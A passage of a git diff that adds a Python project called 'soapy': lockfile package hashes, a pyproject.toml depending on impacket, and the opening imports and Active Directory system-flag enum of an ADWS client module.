= [ + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, + {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, +] + +[[package]] +name = "packaging" +version = "24.2" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.8" +files = [ + {file = "packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, + {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, +] + +[[package]] +name = "pluggy" +version = "1.5.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, + {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] + +[[package]] +name = "pyasn1" +version = "0.6.1" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, + {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, +] + +[[package]] +name = "pycparser" +version = "2.22" +description = "C parser in Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, + {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, +] + +[[package]] +name = "pycryptodomex" +version = "3.21.0" +description = "Cryptographic library for Python" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +files = [ + {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"}, + {file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"}, +] + +[[package]] +name = "pyopenssl" +version = "24.2.1" +description = "Python wrapper module around the OpenSSL library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pyOpenSSL-24.2.1-py3-none-any.whl", hash = "sha256:967d5719b12b243588573f39b0c677637145c7a1ffedcd495a487e58177fbb8d"}, + {file = "pyopenssl-24.2.1.tar.gz", hash = "sha256:4247f0dbe3748d560dcbb2ff3ea01af0f9a1a001ef5f7c4c647956ed8cbf0e95"}, +] + +[package.dependencies] +cryptography = ">=41.0.5,<44" + +[package.extras] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] +test = ["pretend", "pytest (>=3.0.1)", "pytest-rerunfailures"] + +[[package]] +name = "pytest" +version = "8.3.3" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pytest-8.3.3-py3-none-any.whl", hash = "sha256:a6853c7375b2663155079443d2e45de913a911a11d669df02a50814944db57b2"}, + {file = "pytest-8.3.3.tar.gz", hash = "sha256:70b98107bd648308a7952b06e6ca9a50bc660be218d53c257cc1fc94fda10181"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=1.5,<2" + +[package.extras] +dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "ruff" +version = "0.7.3" +description = "An extremely fast Python linter and code formatter, written in Rust." +optional = false +python-versions = ">=3.7" +files = [ + {file = "ruff-0.7.3-py3-none-linux_armv6l.whl", hash = "sha256:34f2339dc22687ec7e7002792d1f50712bf84a13d5152e75712ac08be565d344"}, + {file = "ruff-0.7.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fb397332a1879b9764a3455a0bb1087bda876c2db8aca3a3cbb67b3dbce8cda0"}, + {file = "ruff-0.7.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:37d0b619546103274e7f62643d14e1adcbccb242efda4e4bdb9544d7764782e9"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d59f0c3ee4d1a6787614e7135b72e21024875266101142a09a61439cb6e38a5"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:44eb93c2499a169d49fafd07bc62ac89b1bc800b197e50ff4633aed212569299"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6d0242ce53f3a576c35ee32d907475a8d569944c0407f91d207c8af5be5dae4e"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:6b6224af8b5e09772c2ecb8dc9f3f344c1aa48201c7f07e7315367f6dd90ac29"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c50f95a82b94421c964fae4c27c0242890a20fe67d203d127e84fbb8013855f5"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7f3eff9961b5d2644bcf1616c606e93baa2d6b349e8aa8b035f654df252c8c67"}, + {file = "ruff-0.7.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8963cab06d130c4df2fd52c84e9f10d297826d2e8169ae0c798b6221be1d1d2"}, + {file = "ruff-0.7.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:61b46049d6edc0e4317fb14b33bd693245281a3007288b68a3f5b74a22a0746d"}, + {file = "ruff-0.7.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:10ebce7696afe4644e8c1a23b3cf8c0f2193a310c18387c06e583ae9ef284de2"}, + {file = "ruff-0.7.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:3f36d56326b3aef8eeee150b700e519880d1aab92f471eefdef656fd57492aa2"}, + {file = "ruff-0.7.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5d024301109a0007b78d57ab0ba190087b43dce852e552734ebf0b0b85e4fb16"}, + {file = "ruff-0.7.3-py3-none-win32.whl", hash = "sha256:4ba81a5f0c5478aa61674c5a2194de8b02652f17addf8dfc40c8937e6e7d79fc"}, + {file = "ruff-0.7.3-py3-none-win_amd64.whl", hash = "sha256:588a9ff2fecf01025ed065fe28809cd5a53b43505f48b69a1ac7707b1b7e4088"}, + {file = "ruff-0.7.3-py3-none-win_arm64.whl", hash = "sha256:1713e2c5545863cdbfe2cbce21f69ffaf37b813bfd1fb3b90dc9a6f1963f5a8c"}, + {file = "ruff-0.7.3.tar.gz", hash = "sha256:e1d1ba2e40b6e71a61b063354d04be669ab0d39c352461f3d789cac68b54a313"}, +] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "sortedcontainers" +version = "2.4.0" +description = "Sorted Containers -- Sorted List, Sorted Dict, Sorted Set" +optional = false +python-versions = "*" +files = [ + {file = "sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0"}, + {file = "sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"}, +] + +[[package]] +name = "werkzeug" +version = "3.1.3" +description = "The comprehensive WSGI web application library." +optional = false +python-versions = ">=3.9" +files = [ + {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, + {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, +] + +[package.dependencies] +MarkupSafe = ">=2.1.1" + +[package.extras] +watchdog = ["watchdog (>=2.3)"] + +[metadata] +lock-version = "2.0" +python-versions = "^3.11" +content-hash = "cca4abb6210fe76f73304d70d774f6b365a0f8e904a6f11099db247c7c584f00" diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..a0ea91d --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,44 @@ +[tool.poetry] +name = "soapy" +version = "0.1.0" +description = "" +authors = [ + "Jackson-Leverett ", + "Logan-Goins ", +] +readme = "README.md" +packages = [{ include = "src" }] + +[tool.poetry.scripts] +soapy = "src:run_cli" + +[tool.poetry.dependencies] +python = "^3.11" +impacket = "^0.11.0" + +[tool.poetry.group.dev.dependencies] +pytest = "^8.2.2" +hypothesis = "^6.103.2" +ruff = "^0.7.1" + + +[build-system] +requires = ["poetry-core"] +build-backend = "poetry.core.masonry.api" + +[tool.ruff] +line-length = 120 + +[tool.ruff.lint] +select = [ + "E", # pycodestyle errors + "W", # pycodestyle warnings + "F", # pyflakes + "I", # isort + "B", # flake8-bugbear + "C4", # flake8-comprehensions + "N", # PEP8 naming convetions +] + +[tool.ruff.lint.pydocstyle] +convention = "google" \ No newline at end of file diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..c18068f --- /dev/null +++ b/src/__init__.py @@ -0,0 +1,7 @@ +from .ms_nmf import NMFConnection +from .ms_nns import NNS +from .encoder import Encoder +from .adws import ADWSConnect +from .soa import run_cli + +__all__ = ["NMFConnection", "NNS", "Encoder", "ADWSConnect", "run_cli"] diff --git a/src/adws.py b/src/adws.py new file mode 100644 index 0000000..6acb728 --- /dev/null +++ b/src/adws.py @@ -0,0 +1,757 @@ +import datetime +import logging +import socket +from base64 import b64decode +from enum import IntFlag +from typing import Self, Type +from uuid import UUID, uuid4 +from xml.etree import ElementTree + +from impacket.ldap.ldaptypes import ( + ACCESS_ALLOWED_ACE, + ACCESS_ALLOWED_CALLBACK_ACE, + ACCESS_ALLOWED_CALLBACK_OBJECT_ACE, + ACCESS_ALLOWED_OBJECT_ACE, + LDAP_SID, + SR_SECURITY_DESCRIPTOR, + SYSTEM_MANDATORY_LABEL_ACE, +) +from pyasn1.type.useful import GeneralizedTime + +import src.ms_nmf as ms_nmf +from src.ms_nns import NNS + +from .soap_templates import ( + LDAP_PULL_FSTRING, + LDAP_PUT_FSTRING, + LDAP_QUERY_FSTRING, + NAMESPACES, +) + + +# https://learn.microsoft.com/en-us/windows/win32/adschema/a-systemflags +class SystemFlags(IntFlag): + NONE = 0x00000000 + NO_REPLICATION = 0x00000001 + REPLICATE_TO_GC = 0x00000002 + CONSTRUCTED = 0x00000004 + CATEGORY_1 = 0x00000010 + NOT_DELETED = 0x02000000 + CANNOT_MOVE = 0x04000000 + CANNOT_RENAME = 0x08000000 + MOVED_WITH_RESTRICTIONS = 0x10000000 + MOVED = 0x20000000 + RENAMED = 